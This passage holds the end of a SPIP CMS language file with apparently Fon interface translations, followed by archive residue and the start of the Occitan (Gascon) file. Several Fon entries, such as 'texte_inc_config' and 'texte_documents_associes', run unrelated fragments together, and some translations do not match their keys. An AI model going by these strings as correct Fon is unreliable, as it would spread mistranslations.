'icone_suivi_actualite' => ' nùkɔn yìyì gblogblojí ɔ tɔn',
'icone_suivi_pettions' => 'cɔ/tò xójíjlá lɛ',
'icone_suivi_revisions' => ' ɖìɖyɔ wékpá lɛ tɔn',
'icone_supprimer_document' => 'gbìɖí wěmà ɔ ',
'icone_supprimer_image' => ' gbìɖí nú títɛ é lɔ',
'icone_tous_articles' => 'wěkpá lɛ bí',
'icone_tous_auteur' => 'nyɔwlántɔ lɛ bí',
'icone_visiter_site' => 'Jónɔ', # MODIF
'icone_voir_en_ligne' => 'Mi kpɔn ɖò àtɛ ɔ jí ',
'img_indisponible' => 'Yɛ ɖébú ɖò àtɛ ɔ jí a',
'info_a_suivre' => 'mi ná kpɔn',
'info_acces_interdit' => 'yé ná gbè á',
'info_acces_refuse' => 'yé ná gbè á',
'info_action' => 'àzɔ',
'info_administrer_rubriques' => 'tìtòtɔ é lɔ nɔ bló àkpáxwé é lɔ lɛ ɖó',
'info_adresse_non_indiquee' => 'mi dó gesí á!',
'info_aide' => 'àlɔdó :',
'info_ajouter_mot' => 'mi gɔ xókwín dókpó ná',
'info_annonce' => 'xójíjlá',
'info_annonces_generales' => 'xójíjlá kpa:',
'info_article_propose' => 'wěkpá sɔ ɖáyì',
'info_article_publie' => 'sɔ wěkpá ɔ xlɛ',
'info_article_redaction' => 'yè kpò ɖò wěmà ɔ wlán wɛ',
'info_article_refuse' => 'yè sɔ kɛn nú wěmâ',
'info_article_supprime' => 'gbìɖí wěmâ',
'info_articles' => 'wěmâ',
'info_articles_a_valider' => ' sɔ kɛn nú wěmà',
'info_articles_proposes' => 'wěkpá sɔ ɖáyì',
'info_auteurs_nombre' => 'Nyɔwlántɔ (lɛ̂):',
'info_authentification_ftp' => 'Acɛ yíyí (FTP).',
'info_breves_2' => 'xó kléwún lɛ',
'info_connexion_refusee' => 'cácáɖó ɔ sɔgbè á',
'info_contact_developpeur' => 'mi sɔ àlɔ tìtòtɔ ɔ.',
'info_contenance' => 'gblogblojí élɔ ɖó:',
'info_contribution' => 'àlɔɖó kplékplé ɔ tɔn ', # MODIF
'info_copyright' => '@spip@ Azɔwànúmɛɖémákpàcɛná @lien_gpl@',
'info_copyright_doc' => 'nú mi ná lɛ ɖó mɔ xó dévó lɛ ɔ mi yì gblogblo é lɔ jí', # MODIF
'info_copyright_gpl' => 'Ɖò Gbèníná GPL tɔn mɛ',
'info_cours_edition' => 'mi kpó ɖò wékpá lɛ wlán wɛ ',
'info_creer_repertoire' => 'mi kɛnklɛn bó gbètàxókplé bó ná nyíkɔ ɛ:',
'info_creer_repertoire_2' => 'àkpáxwé', # MODIF
'info_creer_vignette' => 'Kunɖéwémá càca',
'info_deplier' => 'mi vlɔn',
'info_descriptif_nombre' => 'ɖìɖèmɛ:',
'info_description' => 'ɖìɖèmɛ:',
'info_description_2' => 'ɖìɖèmɛ:',
'info_dimension' => 'ɖìɖèmɛ:',
'info_ecire_message_prive' => 'wlán wɛn nú mɛ ɖê',
'info_email_invalide' => 'yé sɔ kɛn ná e-mailù é lɔ á.',
'info_en_cours_validation' => 'mi kpó ɖò wékpá lɛ wlán wɛ tion',
'info_en_ligne' => 'é lò kànjí ɖìn :',
'info_envoyer_message_prive' => 'mi sɛ wɛn ɖó mɛ ɔ ɖé sú',
'info_erreur_requete' => 'mi klɛn àfɔ ɖò byɔná ɔ mɛ :',
'info_erreur_squelette2' => 'Tìtòmɛ ɖébú ɖè á',
'info_erreur_systeme' => 'wàlɔ̂ jàyí)',
'info_fini' => 'E vɔ!',
'info_format_image' => 'Nú títɛ lɛ ɖê yē zé bló gbètákɛn ná@.',
'info_format_non_defini' => 'ɖèxlɛ ɔ sɔ gbè á',
'info_grand_ecran' => 'Atɛ ɖàxó',
'info_image_aide' => 'Alɔdó',
'info_image_process_titre' => 'Mi cyán wàlɔ ɖàgbè lɛ',
'info_impossible_lire_page' => 'Wémà ɔ gblé', # MODIF
'info_installation_systeme_publication' => 'nyíkɔníná nyɔwlántɔ lɛ tɔn...',
'info_installer_documents' => 'mi sɔ wémà lɛ sɛɖó càcà.', # MODIF
'info_installer_ftp' => 'mi sɔ wémà lɛ sɛɖó càcà', # MODIF
'info_installer_images' => 'mi síwú sɔ ɖìdè lɛ dó JPEG, GIF et PNG.',
'info_installer_images_dossier' => 'mi síwú sɔ ɖìdè lɛ dó.', # MODIF
'info_interface_complete' => 'Atɛ ɔ bí',
'info_interface_simple' => 'Atɛ ɔ bí',
'info_joindre_document_article' => 'Mi sɔ wémà càdó',
'info_joindre_document_rubrique' => 'Mi sɔ wémà càdó',
'info_joindre_documents_article' => 'Mi sɔ wémà càdó:',
'info_l_article' => 'wékpá',
'info_la_breve' => 'xó kléwûn ',
'info_la_rubrique' => 'àkpáxwé',
'info_langue_principale' => 'Gbètá gblogblojí ɔ tɔn',
'info_largeur_vignette' => 'jíjlɛmɛ',
'info_les_auteurs_1' => 'gbɔn@',
'info_logo_format_interdit' => 'Ntùn é dò ɖéxlɛ lɛ kɛɖɛ@formats@ wɛ yè ɖègbè ná .',
'info_logo_max_poids' => 'Ntùn lɛ dó ná gbló gègé à @maxi@ (xótòɖáyí é lɔ@actuel@).',
'info_mail_fournisseur' => 'miɖê @nátɔ.com',
'info_message_2' => 'wɛn',
'info_message_supprime' => 'yè súsú wɛn',
'info_mise_en_ligne' => 'Azán bíbló tɔn:',
'info_modification_parametres_securite' => 'ɖìɖyɔ',
'info_mois_courant' => 'sún ɖòkpó ɔ mɛ:',
'info_mot_cle_ajoute' => 'zé gbètakɛn gɔná',
'info_multi_herit' => 'Gbè ɖébú',
'info_multi_langues_soulignees' => 'Nú mi sɔ gbè ɖé ɔ é jɛ ɖɔ yè ná tínmɛ.', # MODIF
'info_multilinguisme' => 'Gbèguèguè',
'info_nom_non_utilisateurs_connectes' => 'nyíkɔ tɔn ɖò mɛ ɖò kánnú lɛ jí á.',
'info_nom_utilisateurs_connectes' => 'nyíkɔ mi tɔn nɔ tɔn ɖò mɛ ɖò kánnú lɛ jí .',
'info_nombre_en_ligne' => 'é ló kânú dìn:',
'info_non_resultat' => 'Xógbè ɖébú ɖè á"@cherche_mot@"',
'info_non_utilisation_messagerie' => 'mi ɖò Winwlántɛnmɛ gblogblojí ɔ tɔn bà wɛ.',
'info_nouveau_message' => 'mi ɖò wɛn yɔyɔ ɖévó',
'info_nouveaux_messages' => '@total_messages@ wɛn yɔyɔ',
'info_numero_abbreviation' => 'N° ',
'info_pense_bete' => 'Lìntámɛ-Agúɖàgɔ',
'info_petit_ecran' => 'Atɛ kpɛví',
'info_pixels' => 'cíkícíkí',
'info_plusieurs_mots_trouves' => 'Yé mɔ gbètákɛn gégé"@cherche_mot@":',
'info_portfolio_automatique' => 'Portfolio càcà :',
'info_premier_resultat' => '[@debut_limit@ premiers résultats sur @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ premiers résultats sur @total@]',
'info_propose_1' => '[@nom_site_spip@] Propose : @titre@',
'info_propose_2' => 'Wékpá
---------------',
'info_propose_3' => 'Wékpá "@titre@" Yé ná ɖɔ ɖó tò jí',
'info_propose_4' => 'Yè ɖɔ mi ní wá kpɔn nú ɖê mi ɖɔ̂',
'info_propose_5' => 'ɖò kplékplé cá ɖé wú ɔ, é ɖò nɔtɛn :',
'info_publie_01' => 'Wékpá"@titre@" yè sɔ kɛn ná @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLIE : @titre@',
'info_publie_2' => 'Wékpá yè sɔ kɛn ná
--------------',
'info_rechercher' => 'Bìbà',
'info_rechercher_02' => 'Bìbà :',
'info_remplacer_vignette' => 'mi ɖyo syɔ :',
'info_sans_titre_2' => 'Xótá ɖè á',
'info_selectionner_fichier' => 'Mi síwú cyán gbètákɛn <i>cyán</i>', # MODIF
'info_selectionner_fichier_2' => 'Mi cyán gbètákɛn :',
'info_supprimer_vignette' => 'gbìdí ɖìɖè ɔ ',
'info_symbole_bleu' => 'kwínnɔ xlɛ gɔgúnɔ: é nyí wɛn mi ɖɛ ɖésú tɔn', # MODIF
'info_symbole_jaune' => 'kwín júnɔ nɔ xlɛ tìtòtɔ kpó nyɔwlántɔn hɛn ná ɖyɔ ', # MODIF
'info_symbole_vert' => 'kwín àmàmú nɔ xlɛ wɛn yé má xá mɛ ɖévó', # MODIF
'info_telecharger_nouveau_logo' => 'ɖɔn sín mɔxwítíxwítí ɔ mɛ :',
'info_telecharger_ordinateur' => 'ɖɔn sín mɔxwítíxwítí ɔ mɛ :',
'info_tous_resultats_enregistres' => '[yé wlí xógbè lɛ bí hɛn]',
'info_tout_afficher' => 'Xlɛ bí',
'info_travaux_texte' => 'mi lɛkɔ wá Gblògblòjí é lɔ kò sɔgbè á...',
'info_travaux_titre' => 'yé kpò ɖò àzɔ wá wɛ ɖò Gblògblòjí ɔ wú',
'info_trop_resultat' => 'xógbè gégé"@cherche_mot@" ; mi lɛ vɔ bà núgbó tɔn',
'info_utilisation_messagerie_interne' => 'mi lò wɛngbáví ɔ Gblògblòjí ɔ tɔn zán wɛ.',
'info_valider_lien' => 'sɔ kɛn nú àlɔwlí ɔ',
'info_verifier_image' => 'mi vɔ kpɔn ɖɔ ɖéxlɛ mi tɔn lɛ yì gànjí.',
'info_vignette_defaut' => 'vìnyɛtù',
'info_vignette_personnalisee' => 'vìnyɛtù',
'info_visite' => 'jónɔ bìbá :',
'info_vos_rendez_vous' => 'mi ná kpé mì ɖê',
'infos_vos_pense_bete' => 'tàmɛ lìn àgúɖágɔ', # MODIF
// L
'lien_afficher_icones_seuls' => 'jònɔ',
'lien_afficher_texte_icones' => 'xlɛ wémà lɛ',
'lien_afficher_texte_seul' => 'xlɛ wémà lɛ',
'lien_liberer' => 'mi sɔ jó',
'lien_liberer_tous' => 'mi sɔ wékpá lɛ jó', # MODIF
'lien_nouvea_pense_bete' => 'lìn tàmɛ àgúɖàgɔ',
'lien_nouveau_message' => 'wɛn yɔyɔ',
'lien_nouvelle_annonce' => 'wɛn yɔyɔ',
'lien_petitions' => 'xó jíjlá',
'lien_popularite' => 'Tòbítùn : @popularite@%',
'lien_racine_site' => 'Gblogblojí O sín ɖòkɔ',
'lien_reessayer' => 'mi lɛvɔ bló',
'lien_repondre_message' => 'yígbjè nú wɛn é lɔ',
'lien_supprimer' => 'Sùnsùn',
'lien_tout_afficher' => 'xlɛ bí',
'lien_visite_site' => 'mi bà jɔ gblogblojí ɔ é lɔ',
'lien_visites' => '@visites@ jònɔ bìbà lɛ',
'lien_voir_auteur' => 'mi kpɔ nyɔwlántɔ é lɔ',
'login_acces_prive' => 'àcɛ sɔ byɔ tɛnkánɖóvò',
'login_autre_identifiant' => 'wlìalɔ sɔ gbɔn nyíkɔ ɖévò mɛ',
'login_cookie_accepte' => 'mi tɛnkpɔn nú sàɖìdìtɔ mí lɛ ní xlɛ xógbè é lɔ lɛ .',
'login_cookie_oblige' => 'Nú mi ná ɖé mi xlɛ ɔ mi ɖó yí koki lɛ.',
'login_deconnexion_ok' => 'ɖè ɖò kánnú.',
'login_erreur_pass' => 'klɛn àfɔ ɖò àcɛmɛ .',
'login_espace_prive' => 'tɛnkánɖòfí',
'login_identifiant_inconnu' => 'Yè tùn « @login@ » Nyíkɔ̂ á .',
'login_login' => 'Nyíkɔ̂ :',
'login_login2' => 'Nyíkɔ̂ (identifiant de connexion au site) :', # MODIF
'login_login_pass_incorrect' => '(Nyíkɔ kàbí càvì ɔ gbo vò.)',
'login_motpasseoublie' => 'Yé nyɔ gbètákɛn ɔ ?',
'login_non_securise' => ' Nyíkɔ kàbí càvì ɔ gbo vò Yé nyɔ gbètákɛn ɔ',
'login_nouvelle_tentative' => 'Mi lɛ vɔ bló ɖévó',
'login_par_ici' => 'Yé kò yí nyíkɔ mi tɔn ... gbɔn fí...',
'login_pass2' => 'gbètákɛn :',
'login_preferez_refuser' => 'Nú mi jlò ná gbɛ koli lɛ ɔ , wàlɔ ɖévó lɛ ɖè :',
'login_recharger' => 'Mi lɛ vɔ ɖɔn wémà é lɔ ',
'login_rester_identifie' => 'Mi jó mi ɖé ɖó nú yè ní mɔ mi nú àzán ywɛywɛ ɖé lɛ',
'login_retour_public' => 'Mi lɛkɔ yì gblogblojí ɔ ',
'login_retour_site' => 'Mi lɛkɔ yì gblogblojí ɔ ',
'login_retoursitepublic' => 'Mi lɛkɔ yì gblogblojí ɔ ',
'login_sans_cookiie' => 'Mi sɔ xlɛ bó jò koki lɛ ɖó',
'login_sinscrire' => 'Ná nyíkɔ ',
'login_test_navigateur' => 'ɖèxlɛtɔ/àlɔwlí ɖévó',
'login_verifiez_navigateur' => '(mi kpɔn ɖɔ ɖèxlɛtɔ yí gbètákɛn à jí ...)',
// M
'module_fichiers_langues' => 'gbè lɛ sín wěmà ',
// N
'navigateur_pas_redirige' => 'nú ɖéxlɛ mi tɔn má tɔn á, mi zín fí bó lɛ vɔ yì.',
// O
'onglet_affacer_base' => 'mi sùnsùn xóxòkplé lɛ ',
'onglet_auteur' => 'nyɔwlántɔ ɔ ',
'onglet_contenu_site' => 'gblògblòjí sín àɖɔmɛ ',
'onglet_evolution_visite_mod' => 'núkɔn yíyí ',
'onglet_fonctions_avances' => 'wàlɔ xwítíxwítí',
'onglet_informations_personnelles' => 'xó mɛ ɖé sú tɔn lɛ',
'onglet_interactivite' => 'wàzɔ ɖókpɔ ',
'onglet_messagerie' => 'wɛngbáví',
'onglet_repartition_rubrique' => 'Mi tò àkpáxwé lɛ',
'onglet_save_restaur_base' => 'wlíhɛn/ lɛvɔ xóxòkplé blóɖó',
'onglet_vider_cache' => 'Bɛ̂ ê é ɖò gbàví ɔ mɛ bí sín',
// P
'pass_choix_pass' => 'Mi sɔ càvì ɖévó :',
'pass_erreur' => 'klɛn àfɔ ',
'pass_erreur_acces_refuse' => 'klɛn àfɔ mi sɔ yí gblogbloé lɔ jí á',
'pass_erreur_code_inconnu' => 'mi sɔ yí gblogbloé lɔ jí á',
'pass_erreur_non_enregistre' => 'klɛn àfɔ l’adresse <tt>@email_oubli@</tt> ɖò fí á.',
'pass_erreur_non_valide' => 'klɛn àfɔ <tt>@email_oubli@</tt> ɖò fí á !',
'pass_erreur_probleme_technique' => 'klɛn àfɔ ɖò fí á',
'pass_espace_prive_bla' => 'yé hùn fí nú mɛ bí á
',
'pass_forum_bla' => 'mi byɔ ɖɔ é mi ná ɖɔ xó ɖò kplékplé ɔ mɛ.',
'pass_indiquez_cidessous' => 'mi sɔ e-mailú mi tɔn xlɛ
.',
'pass_mail_passcookie' => 'Wɛn é lɔ wɛn càcà wɛ
@nom_site_spip@ (@adresse_site@)
Nú mi ná ɖó mɔ nɔtɛn gblogblojí é lɔ tɔn mi yì
@sendcookie@
', # MODIF
'pass_mot_oublie' => 'mi yɔn càvì ɔ',
'pass_nouveau_enregistre' => 'Mi sɔ càvì ɖévó.',
'pass_nouveau_pass' => 'Mi sɔ càvì ɖévó',
'pass_ok' => 'bà yí',
'pass_oubli_mot' => 'mi yɔn càvì ɔ',
'pass_quitter_fenetre' => 'jó flècè é lɔ ɖó',
'pass_rappel_login' => 'nyíkɔ mi tɔn « @login@ ».',
'pass_recevoir_mail' => 'mi ná sɛ wɛn ɖê ná ɖɔ ɖé mi ná byɔ gblogblojí gbɔn é .',
'pass_retour_public' => 'gblogblojí',
'pass_rien_a_faire_ici' => 'ŋ ɖé ɖò fí á.',
'pass_vousinscrire' => 'nyíkɔ mi tɔn',
'precedent' => 'E wà yì é',
'previsualisation' => 'kpɔn',
'previsualiser' => 'kpɔn',
// S
'stats_visites_et_popularite' => '@visites@ jónɔ ; tòbítùn : @popularite@',
'suivant' => 'E jà wè',
// T
'taille_ko' => '@taille@ ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ octets',
'texte_actualite_site_1' => 'nú àtɛ wô má mì ɔ mi zìn fí ',
'texte_actualite_site_2' => 'àtɛ',
'texte_actualite_site_3' => 'mi ná sɔ mɔ àlì gégé.',
'texte_creation_automatique_vignette' => 'wlíhɛn/ lɛvɔ xóxòkplé blóɖóBɛ̂ ê é ɖò gbàví ɔ mɛ bí sínZé gɔ ná wěmámɛYé mɔ àyì ɖé ɖó wékwín é lɔ wú áYé sɔ mɔ ɖê ná nɔ kpɔn wékwín sín winwlán gànjí ɔ ɖó sùpípùmɛ.Amɔ có nú mi ná sɔ wěmà mi tɔn ɖé xlɛ hún mi ván núkún ɖémɛ ɖésú hwɛ @gd_formats@, wékwín ɖê yé mà tùn à lɛ ɔ ɖò vɔvɔmɛ. Zìn yé bó kpɔn àyì é yè b ɖó yèwú ɔ@taille_preview@ ',
'texte_documents_associes' => 'mi sɔ yí gblogblo é lɔ jí áyé hùn fí nú mɛ bí ámi byɔ ɖɔ é mi ná ɖɔ xó ɖò kplékplé ɔ mɛmi sɔ e-mailú mi tɔn xlɛ Wɛn é lɔ wɛn càcà wɛ .',
'texte_erreur_mise_niveau_base' => 'xó kléwun lɛ wěmà kléwún ɖé lɛ wɛbɔ yé nɔ zɔn bɔ xó lɛ nɔ yí àtɛjí gànmɛgànmɛmi sɔ xóxòkplégbàví mi tɔn mɔnɔ hɛnmi cyían ɖê jɛ ɖéwú ɔ', # MODIF
'texte_inc_auth_1' => 'mi kó mɔ mi @auth_login@àmɔ mi sɔ ɖò xóxòkplégbàví ɔ mɛ á', # MODIF
'texte_inc_auth_2' => 'mi lɛ vɔ yí kànjí',
'texte_inc_auth_3' => ', vlàvò nú mi gòsínbò dózò nú ɖéxlɛtɔ mi tɔn ',
'texte_inc_config' => 'kpɔnjónɔ tòbítùntìto kléwúngbàví ɔ jɛ vɔwɛn é lɔ yé sɛ ɖó ɔ mi kɛnklɛ̂n bó ná lìnlìn mi tɔn ɖé wúɖò kplékplé yé sɔ ɖó dò wɔ mɛnú àtɛ wô má mì ɔ mi zìn fími ná sɔ mɔ àlì gégéwékpá é lɔxógbè lɛ nyɔwlántɔ lɛ gblogblojí é lɔ nɔ zɔn bɔ mi nɔ sɛ wɛn ɖó bó nɔ lɛ yí wɛnxó kléwun lɛ wěmà kléwún ɖé lɛ wɛbɔ yé nɔ zɔn bɔ xó lɛ nɔ yí àtɛjí gànmɛgànmɛmi sɔ xóxòkplégbàví mi tɔn ', # MODIF
'texte_inc_meta_1' => 'mi zìn fími ná sɔ mɔ àlì gégéwékpá é lɔxógbè lɛ nyɔwlántɔ lɛ gblogblojí é lɔ nɔ zɔn bɔ mi nɔ sɛ wɛn ɖó bó nɔ lɛ yí wɛnxó kléwun lɛ wěmà kléwún ɖé lɛ wɛbɔ yé nɔ zɔn bɔ xó lɛ nɔ yí àtɛjí gànmɛgànmɛ', # MODIF
'texte_inc_meta_2' => 'mi k pɔn àcɛ winwl tɔn ',
'texte_inc_meta_3' => 'E ɖò àkpáxwé ɔ mɛ <code>@repertoire@</code>.', # MODIF
'texte_statut_en_cours_redaction' => 'E kpó ɖò wíwlánwɛ',
'texte_statut_poubelle' => 'sɔ nyígbè',
'texte_statut_propose_evaluation' => 'Mi kpɔnɖɔ yé ná sɔ kɛn ná',
'texte_statut_publie' => 'sɔɖò àtɛjí',
'texte_statut_refuse' => 'yé gbɛ',
'titre_ajouter_mot_cle' => 'zé gbètákɛn gɔná :',
'titre_cadre_raccourcis' => 'xàsádó:',
'titre_changer_couleur_interface' => 'ɖyɔ ŋtùn nú àtɛ ɔ',
'titre_image_admin_article' => 'Mi hɛn ɔ mi ná tò wékpá é lɔ ',
'titre_image_administrateur' => 'Tìtòtɔ',
'titre_image_aide' => 'Mi yí àlɔdó ɖò fí',
'titre_image_auteur_supprime' => 'nyɔwlántɔn ɖê yé sùnsùn',
'titre_image_redacteur' => 'nyɔwlántɔn mà ɖò àcɛ',
'titre_image_redacteur_02' => 'nyɔwlántɔn ',
'titre_image_visiteur' => 'Jónɔ',
'titre_joindre_document' => 'Zé wěmà gɔná ',
'titre_mots_cles' => 'gbètákɛn',
'titre_probleme_technique' => 'mɛɖé sɔ sí byɔ fínɛ á.',
'titre_publier_document' => 'mi sɔ wěmà xlɛ ɖò àkpáxwé lɔ jí',
'titre_statistiques' => 'akɔŋtá gblogblojí ɔ tɔn ',
'titre_titre_document' => 'xótá wěmà tɔn :',
'trad_reference' => '(wékpá jɔ wékpá)', # MODIF
// Z
'zbug_balise_b_aval' => ' :Dògbó B ɖò fìfómɛ',
'zbug_boucle' => 'Fífómɛ bìbɛmɛ',
'zbug_boucle_recursive_undef' => 'Afɔ Fífómɛ bìbɛmɛ nɔ wà hwɛhwɛ yè mà sɔ ɖáyì é', # MODIF
'zbug_champ_hors_boucle' => 'Tɛnmɛ @champ@ é ɖò vò nú Fífómɛ bìbɛmɛ',
'zbug_champ_hors_motif' => 'Tɛnmɛ @champ@ é ɖò vò nú Fífómɛ bìbɛmɛ @motif@', # MODIF
'zbug_code' => 'Awòkɛn',
'zbug_critere_inconnu' => 'Sɛnxwì yè mà tùn@critere@', # MODIF
'zbug_distant_interdit' => 'Yè gbɛ ê má ɖò nù ɖé mɛ a', # MODIF
'zbug_doublon_table_sans_index' => 'doublons sur une table sans index', # MODIF
'zbug_erreur_boucle_double' => 'tòbòtòbò@id@:tímɛ àzɔn wè', # MODIF
'zbug_erreur_boucle_fermant' => 'tòbòtòbò@:cávì é nú ɔ ɖè á', # MODIF
'zbug_erreur_boucle_syntaxe' => 'tòbòtòbò ɔ sɔ gbè á', # MODIF
'zbug_erreur_execution_page' => 'Afɔkílɛn ɖò àzɔ wìwàmɛ', # MODIF
'zbug_erreur_filtre' => 'klɛn àfɔ ', # MODIF
'zbug_erreur_meme_parent' => '{Nû_ɖòkpó ɔ} Fífómɛ bìbɛmɛ kɛɖɛ wɛ yè nɔ bló ná(Kplékplé lɛ) kabi (Akpáxwé lɛ)', # MODIF
'zbug_erreur_squelette' => 'Afɔkílɛn (lɛ) ɖò tìtòmɛ ò mɛ ',
'zbug_info_erreur_squelette' => 'àfɔkiklɛn ɖò gblogblojí',
'zbug_inversion_ordre_inexistant' => 'Adà lílɛ nú wàlɔ é kó tíìn é', # MODIF
'zbug_pagination_sans_critere' => '#PAGINATION sans critère {pagination} ou employé dans une boucle recursive', # MODIF
'zbug_parametres_inclus_incorrects' => ' wàlɔ yíyìɖémɛ ɔ tɔn lɛ jlɔ à ', # MODIF
'zbug_resultat' => 'Gbètà',
'zbug_serveur_indefini' => 'Mɔxwìtíxwìtítàtɔ SQL tɔn ê mà tɛɖɛ é jì a ', # MODIF
'zbug_table_inconnue' => 'Tìtòmɛ SQL « @table@ »yè mà tùn'
);
?>
spip_oc_gsc.php 0000666 00000100470 15252547432 0007564 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=oc_gsc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'occitan (gascon) [oc_gsc]',
'0_liste' => 'lenga.occitana@aprene.org',
'0_mainteneur' => 'Domergue: lenga.occitana@aprene.org ',
// A
'access_interface_graphique' => 'Tornar a l’interfàcia grafica completa',
'access_mode_texte' => 'Afichar l’interfàcia textuau simplificada',
'admin_debug' => 'desbugatge',
'admin_modifier_article' => 'Modificar aqueth article',
'admin_modifier_auteur' => 'Modificar aqueth autor',
'admin_modifier_breve' => 'Modificar aquera brèva',
'admin_modifier_mot' => 'Modificar aqueth mot clau',
'admin_modifier_rubrique' => 'Modificar aquera rubrica',
'admin_recalculer' => 'Tornar calcular la pagina',
'alerte_maj_impossible' => '<b>Alèrta!</b> Qu’ei impossible d’actualizar la basa SQL de cap tà la version @version@; dilhèu que i a un problèma relatiu au dret de modificar la basa de dadas. Volhatz contactar lo vòste aubergader.',
'analyse_xml' => 'Analisi XML',
'articles_recents' => 'Los articles mei recents',
'avis_archive_incorrect' => 'lo fichièr archiu n’ei pas un fichièr SPIP',
'avis_archive_invalide' => 'lo fichièr archiu n’ei pas valid',
'avis_attention' => 'ATENCION!',
'avis_champ_incorrect_type_objet' => 'Nom de camp incorrècte @name@ tà objècte de tipe @type@',
'avis_colonne_inexistante' => 'La colomna @col@ n’existeish pas',
'avis_erreur' => 'Error: vejatz ça devath',
'avis_erreur_connexion' => 'Error de connexion',
'avis_erreur_cookie' => 'problèma de cookie',
'avis_erreur_fonction_contexte' => 'Error de programacion. Non cau pas aperar aquera foncion dens aqueth contèxt.',
'avis_erreur_mysql' => 'Error SQL ',
'avis_erreur_sauvegarde' => 'Error dens la sauvagarda (@type@ @id_objet@)! ',
// B
'barre_a_accent_grave' => 'Inserir ua A accent grèu majuscula',
'barre_aide' => 'Utilizar las acorcidas tipograficas entà enriquir la vòsta compaginacion',
'barre_e_accent_aigu' => 'Inserir ua E accent agut majuscula',
'barre_eo' => 'Inserir ua E dens l’O',
'barre_eo_maj' => 'Inserir ua E dens l’O majuscula', # MODIF
'barre_euro' => 'Inserir lo simbèu de l’èuro: €',
'barre_gras' => 'Hicar en {{gras}}',
'barre_guillemets' => 'Enrodar dab « verguetas »',
'barre_guillemets_simples' => 'Enrodar dab „verguetas“',
'barre_intertitre' => 'Transformar en {{{intertítol}}}',
'barre_italic' => 'Hicar en {italics}',
'barre_lien' => 'Transformar en [ligam ipertèxt->http://...]',
'barre_lien_input' => 'Volhatz indicar l’adreiça deu vòste ligam (que podetz indicar ua adreiça web devath la forma http://www.lomensit.com o simplament indicar lo numèro d’un article d’aqueth sit).',
'barre_note' => 'Transformar en [[Nòta de pè]]',
'barre_quote' => '<quote>Citar un messatge</quote>',
'bouton_changer' => 'Cambiar',
'bouton_chercher' => 'Cercar',
'bouton_choisir' => 'Causir',
'bouton_download' => 'Télécharger', # MODIF
'bouton_enregistrer' => 'Registrar',
'bouton_radio_desactiver_messagerie_interne' => 'Desactivar la messatjaria intèrna',
'bouton_radio_envoi_annonces' => 'Mandar los anoncis editoriaus',
'bouton_radio_non_envoi_annonces' => 'Non mandar pas nat anonci',
'bouton_radio_non_envoi_liste_nouveautes' => 'Non mandar pas la tèra de las nautats',
'bouton_recharger_page' => 'tornar cargar aquera pagina',
'bouton_telecharger' => 'Telecargar',
'bouton_upload' => 'Telecargar', # MODIF
'bouton_valider' => 'Validar',
// C
'cal_apresmidi' => 'tantòst',
'cal_jour_entier' => 'dia entièr',
'cal_matin' => 'matin',
'cal_par_jour' => 'calendèr per dia',
'cal_par_mois' => 'calendèr per mes',
'cal_par_semaine' => 'calendèr per setmana',
'confirm_changer_statut' => 'Atencion, qu’avetz demandat de cambiar l’estatut d’aqueth element. E desiratz de contunhar? ',
// D
'date_aujourdhui' => 'uei',
'date_avant_jc' => 'abans lo Crist',
'date_dans' => 'd’aquí @delai@',
'date_de_mois_1' => '@j@ de genèr',
'date_de_mois_10' => '@j@ d’octòbre',
'date_de_mois_11' => '@j@ de noveme',
'date_de_mois_12' => '@j@ de deceme',
'date_de_mois_2' => '@j@ de heurèr',
'date_de_mois_3' => '@j@ de març',
'date_de_mois_4' => '@j@ d’abriu',
'date_de_mois_5' => '@j@ de mai',
'date_de_mois_6' => '@j@ de junh',
'date_de_mois_7' => '@j@ de julhet',
'date_de_mois_8' => '@j@ d’agost',
'date_de_mois_9' => '@j@ de seteme',
'date_demain' => 'deman',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ a @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ de @annee@',
'date_fmt_mois_annee' => '@nommois@ de @annee@',
'date_fmt_nomjour_date' => 'lo @nomjour@ @date@',
'date_heures' => 'òras',
'date_hier' => 'ièr',
'date_il_y_a' => '@delai@ a',
'date_jnum1' => '1r',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'dimenge',
'date_jour_2' => 'diluns',
'date_jour_3' => 'dimars',
'date_jour_4' => 'dimèrcs',
'date_jour_5' => 'dijaus',
'date_jour_6' => 'divés',
'date_jour_7' => 'dissabte',
'date_jours' => 'dias',
'date_minutes' => 'minutas',
'date_mois' => 'mes',
'date_mois_1' => 'genèr',
'date_mois_10' => 'octòbre',
'date_mois_11' => 'noveme',
'date_mois_12' => 'deceme',
'date_mois_2' => 'heurèr',
'date_mois_3' => 'març',
'date_mois_4' => 'abriu',
'date_mois_5' => 'mai',
'date_mois_6' => 'junh',
'date_mois_7' => 'julhet',
'date_mois_8' => 'agost',
'date_mois_9' => 'seteme',
'date_saison_1' => 'ivèrn',
'date_saison_2' => 'prima',
'date_saison_3' => 'estiu',
'date_saison_4' => 'agòr',
'date_semaines' => 'setmana(s)',
'dirs_commencer' => 'entà començar vertadèrament l’installacion',
'dirs_preliminaire' => 'Preliminar: <b>Reglar los drets d’accès</b>',
'dirs_probleme_droits' => 'Problèma de drets d’accès', # MODIF
